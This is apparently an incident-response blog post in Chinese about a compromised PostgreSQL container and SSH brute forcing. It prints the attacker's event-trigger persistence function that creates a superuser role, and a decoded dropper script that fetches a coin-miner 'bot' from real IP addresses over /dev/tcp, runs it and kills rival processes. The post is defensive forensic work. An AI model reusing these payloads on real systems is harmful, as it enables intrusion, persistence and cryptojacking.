JOIN pg_proc p ON p.oid = e.evtfoid
13
JOIN pg_namespace n ON n.oid = p.pronamespace
14
ORDER BY e.evtname;
15

16
-- 3) 导出函数源码
17
SELECT n.nspname, p.proname, pg_get_functiondef(p.oid)
18
FROM pg_proc p
19
JOIN pg_namespace n ON n.oid = p.pronamespace
20
WHERE p.oid IN (SELECT evtfoid FROM pg_event_trigger)
21
ORDER BY 1,2;

得到了如下的输出

1
postgres=# -- 1) 看事件触发器定义
2
SELECT evtname, evtevent, evtenabled, evtfoid::regprocedure
3
FROM pg_event_trigger
4
ORDER BY evtname;
5

6
-- 2) 看它们绑定到哪个函数
7
SELECT e.evtname,
8
       n.nspname AS func_schema,
9
       p.proname AS func_name,
10
       pg_get_userbyid(p.proowner) AS func_owner
11
FROM pg_event_trigger e
12
JOIN pg_proc p ON p.oid = e.evtfoid
13
JOIN pg_namespace n ON n.oid = p.pronamespace
14
ORDER BY e.evtname;
15

16
-- 3) 导出函数源码
17
SELECT n.nspname, p.proname, pg_get_functiondef(p.oid)
18
FROM pg_proc p
19
JOIN pg_namespace n ON n.oid = p.pronamespace
20
WHERE p.oid IN (SELECT evtfoid FROM pg_event_trigger)
21
ORDER BY 1,2;
22
  evtname  |     evtevent      | evtenabled |     evtfoid
23
-----------+-------------------+------------+-----------------
24
 log_end   | ddl_command_end   | O          | escalate_priv()
25
 log_start | ddl_command_start | O          | escalate_priv()
26
(2 rows)
27

28
  evtname  | func_schema |   func_name   | func_owner
29
-----------+-------------+---------------+------------
30
 log_end   | public      | escalate_priv | postgres
31
 log_start | public      | escalate_priv | postgres
32
(2 rows)
33

34
 nspname |    proname    |                                  pg_get_functiondef
35
---------+---------------+--------------------------------------------------------------------------------------
36
 public  | escalate_priv | CREATE OR REPLACE FUNCTION public.escalate_priv()                                   +
37
         |               |  RETURNS event_trigger                                                              +
38
         |               |  LANGUAGE plpgsql                                                                   +
39
         |               | AS $function$                                                                       +
40
         |               | DECLARE                                                                             +
41
         |               | is_super BOOLEAN;                                                                   +
42
         |               | BEGIN                                                                               +
43
         |               | SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;            +
44
         |               |                                                                                     +
45
         |               | IF is_super THEN                                                                    +
46
         |               |   BEGIN                                                                             +
47
         |               |     EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp1237126512''';+
48
         |               |   EXCEPTION WHEN duplicate_object THEN                                              +
49
         |               |     NULL;                                                                           +
50
         |               |   WHEN OTHERS THEN                                                                  +
51
         |               |     NULL;                                                                           +
52
         |               |   END;                                                                              +
53
         |               |                                                                                     +
54
         |               |   BEGIN                                                                             +
55
         |               |     EXECUTE 'GRANT priv_esc TO postgres';                                           +
56
         |               |   EXCEPTION WHEN OTHERS THEN                                                        +
57
         |               |     NULL;                                                                           +
58
         |               |   END;                                                                              +
59
         |               | END IF;                                                                             +
60
         |               | END;                                                                                +
61
         |               | $function$                                                                          +
62
         |               |
63
(1 row)

注意到 escalate_priv 这个函数的内容

1
CREATE OR REPLACE FUNCTION public.escalate_priv()
2
 RETURNS event_trigger
3
 LANGUAGE plpgsql
4
AS $function$
5
DECLARE
6
is_super BOOLEAN;
7
BEGIN
8
SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
9

10
IF is_super THEN
11
  BEGIN
12
    EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp1237126512''';
13
  EXCEPTION WHEN duplicate_object THEN
14
    NULL;
15
  WHEN OTHERS THEN
16
    NULL;
17
  END;
18

19
  BEGIN
20
    EXECUTE 'GRANT priv_esc TO postgres';
21
  EXCEPTION WHEN OTHERS THEN
22
    NULL;
23
  END;
24
END IF;
25
END;
26
$function$

无需多言，一眼就能知道是恶意语句，功能为持久化

查大对象

大对象可能存在恶意文件，因此也要检查一下

1
SELECT count(*) AS large_object_count FROM pg_largeobject_metadata;
2
SELECT oid, lomowner FROM pg_largeobject_metadata ORDER BY oid DESC LIMIT 50;

得到如下输出

1
postgres=# SELECT count(*) AS large_object_count FROM pg_largeobject_metadata;
2
SELECT oid, lomowner FROM pg_largeobject_metadata ORDER BY oid DESC LIMIT 50;
3
 large_object_count
4
--------------------
5
                  0
6
(1 row)
7

8
 oid | lomowner
9
-----+----------
10
(0 rows)

这里是安全的。

收尾工作

回滚掉事务即可

1
ROLLBACK;

危害阻断

考虑到服务器内并无实际数据，我们可以利用最简单的方法阻断掉所有危害

加入跳板机，启动防火墙
- 现在只能通过跳板机进入服务器
启动更严格的日志监控
- 尝试捕捉入侵者的再次进入
关闭对应的 container
- 尽可能缩减攻击面，并且阻止危害的延伸

数据库清理

1
-- 关掉刚刚观察到的 trigger
2
ALTER EVENT TRIGGER log_start DISABLE;
3
ALTER EVENT TRIGGER log_end DISABLE;
4

5
-- 清理掉恶意对象
6
DROP EVENT TRIGGER IF EXISTS log_start;
7
DROP EVENT TRIGGER IF EXISTS log_end;
8
DROP FUNCTION IF EXISTS public.escalate_priv();
9

10
-- 清理恶意账户
11
ALTER ROLE priv_esc NOLOGIN;
12
REVOKE priv_esc FROM postgres;
13
DROP ROLE IF EXISTS priv_esc;
14

15
-- 更新更强的密码
16
ALTER ROLE postgres WITH PASSWORD '********************************';

在完成这一步后，请记得再次检查数据库的情况。

检查所有登录入口

检查系统的所有公钥

1
# 这是由 GPT 生成的命令，但我感觉十分好用
2
awk -F: '$7 !~ /(nologin|false)$/ {print $1 ":" $6}' /etc/passwd | while IFS=: read -r u h; do
3
    [ -d "$h/.ssh" ] || continue
4
    echo "==== $u ($h/.ssh) ===="
5
    ls -la --full-time "$h/.ssh"
6
    [ -f "$h/.ssh/authorized_keys" ] && nl -ba "$h/.ssh/authorized_keys"
7
done

得到输出

1
==== root (/root/.ssh) ====
2
total 12
3
drwx------  2 root root 4096 2026-03-07 01:22:47.185379824 +0800 .
4
drwx------ 13 root root 4096 2026-03-07 03:07:24.448213030 +0800 ..
5
-rw-r--r--  1 root root   99 2026-03-07 01:22:47.169379538 +0800 authorized_keys
6
     1  ssh-ed25519 ******************************************************************** ********@********
7
==== ******** (/home/********/.ssh) ====
8
total 12
9
drwxr-xr-x 2 ******** root     4096 2026-03-07 01:23:59.174667093 +0800 .
10
drwxr-xr-x 5 ******** ******** 4096 2025-12-31 20:05:48.962162360 +0800 ..
11
-rw------- 1 ******** root       99 2026-03-07 01:23:59.166666950 +0800 authorized_keys
12
     1  ssh-ed25519 ******************************************************************** ********@********
13
==== ********** (/home/**********/.ssh) ====
14
total 12
15
drwxr-xr-x  2 ********** root       4096 2026-03-07 01:25:40.556476531 +0800 .
16
drwx------ 12 ********** ********** 4096 2026-03-07 03:06:57.491695365 +0800 ..
17
-rw-------  1 ********** **********   99 2026-03-07 01:25:40.548476389 +0800 authorized_keys
18
     1  ssh-ed25519 ******************************************************************** ********@********

初步认定系统的登录入口已经安全，以及系统已经禁止使用密码登录

阻断容器启动

容器很可能以某种方式被设置为自启动，因此我们需要阻断他

1
➜  ~ CID=************
2
➜  ~ podman inspect -f '{{.HostConfig.RestartPolicy.Name}}' "$CID"
3
no
4
➜  ~ podman update --restart=no "$CID"
5
****************************************************************
6
➜  ~ podman inspect -f '{{.HostConfig.RestartPolicy.Name}}' "$CID"
7
no

可以看到其实容器本身不是自启动的，不过保险起见设置一次

数据分析

基于 sshd 日志巨大的问题，我们可以做出初步判断：服务器受到了 ssh 爆破，但是否彻底被破坏结论未知。

以及我们的数据库早已被攻破。

我们得到了如下文件列表：

1
-rw-rw-r-- 1 krysztal krysztal  126 Mar  7 02:48 podman_diff_c3b3ccc85706_20260306T183021Z.txt          # Podman 的 diff
2
-rw-rw-r-- 1 krysztal krysztal  22K Mar  7 02:44 podman_inspect_c3b3ccc85706_20260306T183021Z.json      # Podman 的 inspect
3
-rw-rw-r-- 1 krysztal krysztal  99M Mar  7 02:45 podman_logs_c3b3ccc85706_20260306T183021Z.log          # 从 Podman 导出的 postgres 日志
4
-rw-rw-r-- 1 krysztal krysztal  751 Mar  7 02:39 podman_top_c3b3ccc85706_20260306T183021Z.txt           # 从 Podman 导出的 top
5
-rw-r--r-- 1 krysztal krysztal 172M Mar  7 01:18 sshd.json                                              # 从 systemd 导出的 sshd 日志
6
-rw-r--r-- 1 krysztal krysztal  38K Mar  7 02:46 ss_tnp_20260306T182826Z.txt                            # 从系统导出的网络
7
-rwx------ 1 krysztal krysztal 2.0M Mar  7 01:12 pid_3174152_root_tmp_mysql_                            # 捕捉到的恶意二进制

`sshd` 侧分析

我们使用 duckdb 对 sshd 的日志进行分析和解析，毕竟我们已经提前将其转换成为了 JSON 格式

JSON 拆解

systemd-journald 导出的 sshd 日志文件格式约为

1
{"_SYSTEMD_SLICE":"system.slice","SYSLOG_TIMESTAMP":"Feb 28 01:16:21 ","_SYSTEMD_CGROUP":"/system.slice/ssh.service","_SYSTEMD_UNIT":"ssh.service","_TRANSPORT":"syslog","__SEQNUM":"182136303","_EXE":"/usr/lib/openssh/sshd-session","_GID":"0","_UID":"0","SYSLOG_IDENTIFIER":"sshd-session","__SEQNUM_ID":"ac3d8da9479f4c5d8478a5191ffcecab","SYSLOG_FACILITY":"4","_HOSTNAME":"HW-2680v4-32-256-2","_SYSTEMD_INVOCATION_ID":"9f529114ba334e749241c840605f2437","_SELINUX_CONTEXT":"unconfined\n","PRIORITY":"6","_SOURCE_REALTIME_TIMESTAMP":"1772212581114712","_CMDLINE":"\"sshd-session: root [priv]\"","_PID":"3781931","MESSAGE":"Received disconnect from 4.184.246.230 port 37670:11: Bye Bye [preauth]","__REALTIME_TIMESTAMP":"1772212581114753","SYSLOG_PID":"3781931","_COMM":"sshd-session","_RUNTIME_SCOPE":"system","__CURSOR":"s=ac3d8da9479f4c5d8478a5191ffcecab;i=adb2def;b=370026de1e2b46018040b4c6bb61c751;m=8b8da453ef;t=64bd1655d2381;x=8fa8d525df6ceab5","__MONOTONIC_TIMESTAMP":"599376810991","_BOOT_ID":"370026de1e2b46018040b4c6bb61c751","_MACHINE_ID":"e2fa072722154c9089f264992b45f58d","_CAP_EFFECTIVE":"1ffffffffff"}
2
{"__SEQNUM":"182136304","_PID":"3781931","_CAP_EFFECTIVE":"1ffffffffff","_SYSTEMD_SLICE":"system.slice","_SYSTEMD_CGROUP":"/system.slice/ssh.service","_RUNTIME_SCOPE":"system","MESSAGE":"Disconnected from authenticating user root 4.184.246.230 port 37670 [preauth]","_MACHINE_ID":"e2fa072722154c9089f264992b45f58d","_SYSTEMD_INVOCATION_ID":"9f529114ba334e749241c840605f2437","_TRANSPORT":"syslog","_UID":"0","__MONOTONIC_TIMESTAMP":"599376811736","_BOOT_ID":"370026de1e2b46018040b4c6bb61c751","_CMDLINE":"\"sshd-session: root [priv]\"","_SYSTEMD_UNIT":"ssh.service","_HOSTNAME":"HW-2680v4-32-256-2","__CURSOR":"s=ac3d8da9479f4c5d8478a5191ffcecab;i=adb2df0;b=370026de1e2b46018040b4c6bb61c751;m=8b8da456d8;t=64bd1655d266a;x=b418ea74a65a0a99","_COMM":"sshd-session","SYSLOG_TIMESTAMP":"Feb 28 01:16:21 ","_SELINUX_CONTEXT":"unconfined\n","__SEQNUM_ID":"ac3d8da9479f4c5d8478a5191ffcecab","_SOURCE_REALTIME_TIMESTAMP":"1772212581114774","_GID":"0","__REALTIME_TIMESTAMP":"1772212581115498","PRIORITY":"6","SYSLOG_FACILITY":"4","SYSLOG_PID":"3781931","SYSLOG_IDENTIFIER":"sshd-session","_EXE":"/usr/lib/openssh/sshd-session"}

因此我们简单提取如下几个字段即可

1
CREATE TABLE sshd.sshd_useful(
2
  MESSAGE VARCHAR,
3
  SYSLOG_RAW VARCHAR,
4
  __REALTIME_TIMESTAMP VARCHAR,
5
  SYSLOG_TIMESTAMP VARCHAR,
6
  ip VARCHAR,
7
  username VARCHAR
8
);

我们使用如下 duckdb 语句来实现从 sshd.json 中提取我们需要的数据：

1
-- 放到 sshd schema 中
2
CREATE SCHEMA IF NOT EXISTS sshd;
3

4

5
-- 构建初始数据
6
DROP TABLE IF EXISTS sshd.sshd_raw;
7

8
CREATE TABLE sshd.sshd_raw AS
9
SELECT
10
  *
11
FROM
12
  read_json_auto('sshd.json');
13

14
DROP TABLE IF EXISTS sshd.sshd_useful;
15

16
CREATE TABLE sshd.sshd_useful AS
17
SELECT
18
  MESSAGE,
19
  SYSLOG_RAW,
20
  __REALTIME_TIMESTAMP,
21
  SYSLOG_TIMESTAMP
22
FROM
23
  sshd.sshd_raw;
24

25
-- 创建 ip 列和 username 列
26
ALTER TABLE sshd.sshd_useful
27
ADD COLUMN IF NOT EXISTS ip VARCHAR;
28

29
ALTER TABLE sshd.sshd_useful
30
ADD COLUMN IF NOT EXISTS username VARCHAR;
31

32
-- 提取日志中可能存在的用户名和 ip 地址
33
UPDATE sshd.sshd_useful
34
SET
35
  username = COALESCE(
36
    NULLIF(username, ''),
37
    NULLIF(regexp_extract(message, 'Invalid user\\s+([^ ]+)\\s+from', 1), ''),
38
    NULLIF(regexp_extract(message, 'for\\s+(?:invalid user\\s+)?([^ ]+)\
39
\s+from', 1), ''),
40
    NULLIF(regexp_extract(message, 'authenticating user\\s+([^ ]+)', 1), ''),
41
    NULLIF(regexp_extract(message, 'user=([^ ]+)', 1), '')
42
  ),
43
  ip = NULLIF(regexp_extract(MESSAGE, '([0-9]{1,3}([.][0-9]{1,3}){3})', 1), '');
44

45
-- 聚合 IP 数量到一张表中
46
CREATE OR REPLACE TABLE sshd.sshd_ip_agg AS
47
SELECT
48
  ip,
49
  COUNT(*) AS ip_count
50
FROM
51
  sshd.sshd_useful
52
WHERE
53
  ip IS NOT NULL
54
  AND ip <> ''
55
GROUP BY
56
  ip;
57

58
-- 聚合用户数量到一张表中
59
CREATE OR REPLACE TABLE sshd.sshd_username_agg AS
60
SELECT
61
  username,
62
  COUNT(*) AS username_count
63
FROM
64
  sshd.sshd_useful
65
WHERE
66
  username IS NOT NULL
67
  AND username <> ''
68
GROUP BY
69
  username;
70

71
-- 聚合 IP 与用户名的关系
72
CREATE OR REPLACE TABLE sshd.sshd_ip_username_agg AS
73
SELECT
74
  ip,
75
  username,
76
  COUNT(*) AS pair_count
77
FROM
78
  sshd.sshd_useful
79
WHERE
80
  ip IS NOT NULL
81
  AND ip <> ''
82
  AND username IS NOT NULL
83
  AND username <> ''
84
GROUP BY
85
  ip,
86
  username;

在执行完毕上述命令后，我们得到了如下表格用于接下来的分析

sshd.sshd_raw
- 从 json 提取的原始数据
sshd.sshd_useful
- 从 sshd.sshd_raw 中分离的有效数据
sshd.sshd_ip_agg
- 妄图通过 sshd 爆破的 IP 数据
sshd.sshd_ip_username_agg
- 聚合得到的 IP 和用户名的关系
sshd.sshd_username_agg
- 聚合得到的用户名分布

通过 GeoIP 进行进一步分析

GeoIP 分为 City 和 ASN 两个数据库，我们都需要用到。

在 duckdb 中安装 duckdb_geoip_rs 拓展，并且将其需要的数据库放在指定位置上。

我们通过如下 duckdb 语句进行进一步数据分析和转换，提取出我们需要的数据：

NOTE

ChatGPT 做这种事情真的太方便了你知道吗

1
-- 安装拓展
2
INSTALL duckdb_geoip_rs
3
FROM
4
  community;
5

6
LOAD duckdb_geoip_rs;
7

8
-- 确认函数存在
9
SELECT
10
  function_name
11
FROM
12
  duckdb_functions()
13
WHERE
14
  function_name IN ('geoip_country_iso', 'geoip_city', 'geoip_asn_org', 'geoip_asn_num');
15

16
-- 先做一张“带地理信息”的结果表
17
CREATE OR REPLACE TABLE sshd.sshd_ip_username_geo AS
18
SELECT
19
  ip,
20
  username,
21
  pair_count,
22
  NULLIF(geoip_country_iso (ip), '') AS country_iso,
23
  NULLIF(geoip_city (ip), '') AS city,
24
  NULLIF(geoip_asn_org (ip), '') AS asn_org,
25
  NULLIF(geoip_asn_num (ip), '') AS asn_num
26
FROM
27
  sshd.sshd_ip_username_agg
28
WHERE
29
  ip IS NOT NULL
30
  AND ip <> '';
31

32
CREATE SCHEMA IF NOT EXISTS result;
33

34
-- 1) 国家维度攻击汇总
35
CREATE OR REPLACE TABLE result.sshd_attack_by_country AS
36
SELECT
37
  'sshd' AS source,
38
  COALESCE(country_iso, 'UNKNOWN') AS country,
39
  SUM(pair_count) AS total_events,
40
  COUNT(DISTINCT ip) AS uniq_ip
41
FROM
42
  sshd.sshd_ip_username_geo
43
GROUP BY
44
  1,
45
  2;
46

47
-- 2) ASN 维度攻击汇总
48
CREATE OR REPLACE TABLE result.sshd_attack_by_asn AS
49
SELECT
50
  'sshd' AS source,
51
  COALESCE(asn_num, 'UNKNOWN') AS asn_num,
52
  COALESCE(asn_org, 'UNKNOWN') AS asn_org,
53
  SUM(pair_count) AS total_events,
54
  COUNT(DISTINCT ip) AS uniq_ip
55
FROM
56
  sshd.sshd_ip_username_geo
57
GROUP BY
58
  1,
59
  2,
60
  3;
61

62
-- 3) 高频 IP + 用户名 组合明细（可疑热点）
63
CREATE OR REPLACE TABLE result.sshd_ip_username_hotspots AS
64
SELECT
65
  'sshd' AS source,
66
  ip,
67
  username,
68
  pair_count,
69
  country_iso,
70
  city,
71
  asn_org,
72
  asn_num
73
FROM
74
  sshd.sshd_ip_username_geo;
75

76
-- 4) 兼容你之前的“asn_attack_count”口径（仅事件数）
77
CREATE OR REPLACE TABLE result.sshd_asn_attack_count AS
78
SELECT
79
  'sshd' AS source,
80
  COALESCE(NULLIF(geoip_asn_num (ip), ''), 'UNKNOWN') AS asn_num,
81
  COALESCE(NULLIF(geoip_asn_org (ip), ''), 'UNKNOWN') AS asn_org,
82
  SUM(pair_count) AS attack_events
83
FROM
84
  sshd.sshd_ip_username_agg
85
WHERE
86
  ip IS NOT NULL
87
  AND ip <> ''
88
GROUP BY
89
  1,
90
  2,
91
  3;

至此我们得到了如下几张新的表

result.sshd_asn_attack_count
- ASN 维度分析
result.sshd_attack_by_asn
- ASN 维度分析
result.sshd_attack_by_country
- 国家维度分析
result.sshd_ip_username_hotspots
- 用户名维度分析

`postgres` 侧分析

我们不仅仅从 sshd 获取到了日志，还从 postgres 上获取到了日志。因此这部分日志也是有很大点可以用于分析的。

日志拆解

通过分析日志，我们观察到了除了爆破外还有如下奇怪的日志

1
2026-03-06T12:37:24.894586000+08:00 2026-03-06 04:37:24.894 UTC [1148610] ERROR:  program "echo ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiQxIiB8IHNlZCAncyM6Ly8jICM7cyMvIyAjJykiCiAgRE9DPSIvJHBhdGgiCiAgSE9TVD0iJHtzZXJ2ZXIlJToqfSIKICBQT1JUPSIke3NlcnZlciMjKjp9IgogIFsgIiRIT1NUIiA9ICIkUE9SVCIgXSAmJiBQT1JUPTgwCiAgZXhlYyAzPD4vZGV2L3RjcC8kSE9TVC8kUE9SVAogIHByaW50ZiAiR0VUICVzIEhUVFAvMS4xXHJcbkhvc3Q6ICVzXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICIkRE9DIiAiJEhPU1QiID4mMwogIHdoaWxlIElGUz0gcmVhZCAtciBsaW5lIDwmMzsgZG8KICAgIGxpbmU9JHtsaW5lJSQnXHInfQogICAgWyAteiAiJGxpbmUiIF0gJiYgYnJlYWsKICBkb25lCiAgY2F0IDwmMwogIGV4ZWMgMz4mLQp9Cgpmb3IgcGlkIGluIC9wcm9jL1swLTldKjsgZG8gcGlkPSR7cGlkIyMqL307IHJlc3VsdD0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlKTsgY2FzZSAkcmVzdWx0IGluICoiL3RtcC93YXRjaGRvZyIqfCoiL3Zhci9Tb2ZpYSIqfCoibWNybmxob3kiKnwqInBnX21lbSIqfCoieDg2Iip8KiJtZW1mZCIqfCoiLm1ldGFiYXNlIip8KiJjYXQiKnwqIi90bXAvLiIqfCoiL3RtcC8uci5ycGsvIip8KiJqYXZhdm02NCIqfCoiaHR0cGQiKnwqImRvY2tlcmQiKnwqInJlZGlzZXJ2ZXIiKnwqImRhc2giKnwqImtpbnNpbmciKnwqImtkZXZ0bXBmc2kiKnwqIi90bXAvLnBlcmYuYy8iKnwqIi90bXAvY2NybCIqfCoiL3RtcC9odHRwZCIqfCoicNC+c3RtYXN0ZXIiKikga2lsbCAtOSAkcGlkIDs7IGVzYWM7IGRvbmUKZm9yIHAgaW4gL3Byb2MvWzAtOV0qOyBkbyBwaWQ9JHtwIyMqL307IGV4ZT0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlIDI+L2Rldi9udWxsKTsgY2FzZSAiJGV4ZSIgaW4gKiJpbml0IiopIGV4aXQgOzsgZXNhYzsgZG9uZQpfX2N1cmwgaHR0cDovLzE4MS4yMTQuMTQ3LjEwOC9ib3QgPiAvdG1wL2JvdCAmJiBjaG1vZCAreCAvdG1wL2JvdCAmJiBjZCAvdG1wOy4vYm90IGRhdGFiYXNlMTsK|base64 -d|bash" failed

那么我们需要把这个日志提取出来。由于 duckdb 的网页端写正则总有奇怪的问题，因此我选择直接根据引号进行分割提取其中的内容

1
CREATE SCHEMA IF NOT EXISTS result;
2

3
-- 直接提取结果
4
CREATE OR REPLACE TABLE result.postgres_exec_commands AS
5
WITH
6
  src AS (
7
    SELECT
8
      content
9
    FROM
10
      read_text('podman_logs_c3b3ccc85706_20260306T183021Z.log')
11
  ),
12
  cmds AS (
13
    SELECT
14
      unnest(regexp_extract_all(content, '(?i)program[[:space:]]+[''"]([^''"]+)[''"]', 1)) AS cmd_raw
15
    FROM
16
      src
17
  )
18
SELECT
19
  cmd_raw,
20
  CASE
21
    WHEN cmd_raw LIKE 'echo %|base64 -d|bash' THEN CAST(
22
      from_base64(split_part(split_part(cmd_raw, 'echo ', 2), '|base64 -d|bash', 1)) AS VARCHAR
23
    )
24
    ELSE NULL
25
  END AS script_readable
26
FROM
27
  cmds
28
WHERE
29
  cmd_raw IS NOT NULL
30
  AND trim(cmd_raw) <> '';
31

32
-- 美化之前的提取结果
33
CREATE OR REPLACE TABLE result.postgres_exec_commands_pretty AS
34
WITH
35
  base AS (
36
    SELECT DISTINCT
37
      cmd_raw
38
    FROM
39
      result.postgres_exec_commands
40
    WHERE
41
      cmd_raw IS NOT NULL
42
      AND trim(cmd_raw) <> ''
43
  ),
44
  parsed AS (
45
    SELECT
46
      cmd_raw,
47
      CASE
48
        WHEN cmd_raw LIKE 'echo %|base64 -d|bash' THEN split_part(split_part(cmd_raw, 'echo ', 2), '|base64 -d|bash', 1)
49
        ELSE NULL
50
      END AS b64_payload
51
    FROM
52
      base
53
  ),
54
  decoded AS (
55
    SELECT
56
      cmd_raw,
57
      b64_payload,
58
      CASE
59
        WHEN b64_payload IS NOT NULL
60
        AND b64_payload <> '' THEN CAST(from_base64(b64_payload) AS VARCHAR)
61
        ELSE NULL
62
      END AS script_decoded_raw
63
    FROM
64
      parsed
65
  )
66
SELECT
67
  cmd_raw,
68
  b64_payload,
69
  script_decoded_raw,
70
  replace(
71
    replace(replace(script_decoded_raw, '\x0A', chr(10)), '\x22', '"'),
72
    '\x27',
73
    ''''
74
  ) AS script_readable
75
FROM
76
  decoded;

数据分析

现在我们终于得到了有用的数据，得到了两条命令

1
# Script0
2
function __curl() {
3
  read proto server path <<<"$(printf '%s' "$1" | sed 's#://# #;s#/# #')"
4
  DOC="/$path"
5
  HOST="${server%%:*}"
6
  PORT="${server##*:}"
7
  [ "$HOST" = "$PORT" ] && PORT=80
8

9
  exec 3<>/dev/tcp/$HOST/$PORT
10
  printf "GET %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" "$DOC"
11
"$HOST" >&3
12

13
  while IFS= read -r line <&3; do
14
    line=${line%$'\r'}
15
    [ -z "$line" ] && break
16
  done
17

18
  cat <&3
19
  exec 3>&-
20
}
21

22
for pid in /proc/[0-9]*; do
23
  pid=${pid##*/}
24
  result=$(ls -l /proc/$pid/exe)
25
  case $result in
26
    *"/tmp/watchdog"*|*"/var/Sofia"*|*"mcrnlhoy"*|*"pg_mem"*|*"x86"*|
27
*"memfd"*|*".metabase"*|*"cat"*|*"/tmp/."*|*"/tmp/.r.rpk/"*|*"javavm64"*|
28
*"httpd"*|*"dockerd"*|*"rediserver"*|*"dash"*|*"kinsing"*|*"kdevtmpfsi"*|
29
*"/tmp/.perf.c/"*|*"/tmp/ccrl"*|*"/tmp/httpd"*|*"pоstmaster"*)
30
      kill -9 "$pid"
31
      ;;
32
  esac
33
done
34

35
for p in /proc/[0-9]*; do
36
  pid=${p##*/}
37
  exe=$(ls -l /proc/$pid/exe 2>/dev/null)
38
  case "$exe" in
39
    *"init"*) exit ;;
40
  esac
41
done
42

43
__curl http://181.214.147.108/bot > /tmp/bot && chmod +x /tmp/bot && cd /
44
tmp; ./bot database1;
45

46
# Script1
47
function __curl() {
48
  read proto server path <<<"$(printf '%s' "$1" | sed 's#://# #;s#/# #')"
49
  DOC="/$path"
50
  HOST="${server%%:*}"
51
  PORT="${server##*:}"
52
  [ "$HOST" = "$PORT" ] && PORT=80
53

54
  exec 3<>/dev/tcp/$HOST/$PORT
55
  printf "GET %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" "$DOC"
56
"$HOST" >&3
57

58
  while IFS= read -r line <&3; do
59
    line=${line%$'\r'}
60
    [ -z "$line" ] && break
61
  done
62

63
  cat <&3
64
  exec 3>&-
65
}
66

67
for pid in /proc/[0-9]*; do
68
  pid=${pid##*/}
69
  result=$(ls -l /proc/$pid/exe)
70
  case $result in
71
    *"/tmp/watchdog"*|*"/var/Sofia"*|*"mcrnlhoy"*|*"pg_mem"*|*"x86"*|
72
*"memfd"*|*".metabase"*|*"cat"*|*"/tmp/."*|*"/tmp/.r.rpk/"*|*"javavm64"*|
73
*"httpd"*|*"dockerd"*|*"rediserver"*|*"dash"*|*"kinsing"*|*"kdevtmpfsi"*|
74
*"/tmp/.perf.c/"*|*"/tmp/ccrl"*|*"/tmp/httpd"*|*"pоstmaster"*)
75
      kill -9 "$pid"
76
      ;;
77
  esac
78
done
79

80
for p in /proc/[0-9]*; do
81
  pid=${p##*/}
82
  exe=$(ls -l /proc/$pid/exe 2>/dev/null)
83
  case "$exe" in
84
    *"init"*) exit ;;
85
  esac
86
done
87

88
__curl http://85.209.231.47/bot > /tmp/bot && chmod +x /tmp/bot && cd /tm
89
p; ./bot database1;

大致观察了一下，两个脚本的逻辑几乎是相同的，但是特征上有些许不同

脚本分析

注意到这两个脚本有一段这种逻辑

1
for pid in /proc/[0-9]*; do
2
  pid=${pid##*/}
3
  result=$(ls -l /proc/$pid/exe)
4
  case $result in
5
    *"/tmp/watchdog"*|*"/var/Sofia"*|*"mcrnlhoy"*|*"pg_mem"*|*"x86"*|
6
*"memfd"*|*".metabase"*|*"cat"*|*"/tmp/."*|*"/tmp/.r.rpk/"*|*"javavm64"*|
7
*"httpd"*|*"dockerd"*|*"rediserver"*|*"dash"*|*"kinsing"*|*"kdevtmpfsi"*|
8
*"/tmp/.perf.c/"*|*"/tmp/ccrl"*|*"/tmp/httpd"*|*"pоstmaster"*)
9
      kill -9 "$pid"
10
      ;;
11
  esac
12
done

目的像是要杀死所有的竞争者，并且要主动杀死 dockerd、redisserver、cat 这些指令的运行，以及像是要杀死其他的 /tmp/* 形式的进程，就像是竞争者。

很庆幸的是服务器基础安全措施到位，恶意二进制只能在容器内运行，容器内保持单一服务设计，因此他没能杀死任何进程。

除此之外还注意到有两个请求地址

NOTE

考虑到其罪恶深重，特不予任何隐藏。

将其公之于众，望网友与其尽情欢愉。

二进制分析

至此，我们得到了三个二进制：

被捕捉到的 /tmp/mysql
来自 http://85.209.231.47/bot 的下载器
来自 http://181.214.147.108/bot 的下载器

将以上三个二进制文件放到沙盒中进行检测，得到如下结果

且得到了一份 Filescan.io 提供的 ChatGPT 摘要

Executive Summary: Malware Technical Capabilities

Cryptographic Algorithms Detected: The malware exhibits the capability to use cryptographic algorithms for encryption, potentially to obfuscate its communication channels (MITRE ID: T1573).

Packed Executable: The malware is packed with a known packer/protector, indicating an attempt to evade detection and analysis (MITRE ID: T1027.002).

High Entropy Value: The executable demonstrates a high entropy value of 7.945, suggesting potential complexity and sophisticated code obfuscation techniques.

YARA Rule Match: The malware matches a relevant YARA rule, indicating that specific behavioral or code patterns associated with known threats were identified.

Multiple Antivirus Labels: The malware has been identified by various antivirus products with labels such as Elf.Trojan, CoinMiner, TR/Malware, and Trojan_Linux_CoinMiner_C12, highlighting its malicious nature and diverse detection coverage.

根据分析结果，这是一个挖矿程序，且主要挖的是罗门币。

其会与如下域名进行通讯：fokoffkont.anondns.net

这是一个常见的僵尸网络所使用的 DNS。由于我们只分析不反击因此到此为止。（我也不知道怎么继续了说实话）

日后谈

虽说不是灾难，但是也算是一场伤痛。服务器的安全措施永远是十足重要且需要花心思去良好设置的一环。

介于此，还是写一下日后谈吧。

入侵链路

在分析完毕利用 duckdb 提取的数据后发现 sshd 没有被攻破，说明强密码策略依然是有效的；被攻破的数据库使用了弱密码——但还好只是测试用的数据库。

更重要的是，正确使用了 rootless 容器 podman 阻拦了灾难的进一步延伸。恶意二进制没有识别出正在 podman 中运行，因此露了马脚。

从所有信息中可以看到有两条线路被入侵

sshd
- 更改端口并没有显著作用，依然会被扫端口然后确定到底是什么端口
- 强密码的作用十分显著，使得攻击者很难非常缓慢的从密码方面取得服务器的权限
- 但强密码依然不如密钥对安全
postgres
- postgres 使用了弱密码，被快速攻破
- 但 postgres 在容器内运行，因此无法获得更高的权限
- 恶意脚本通过 trigger 的方式持久化自身，避免自己被很轻易地杀掉
- 恶意脚本没有检测到自己正在 podman 中运行，露出了马脚
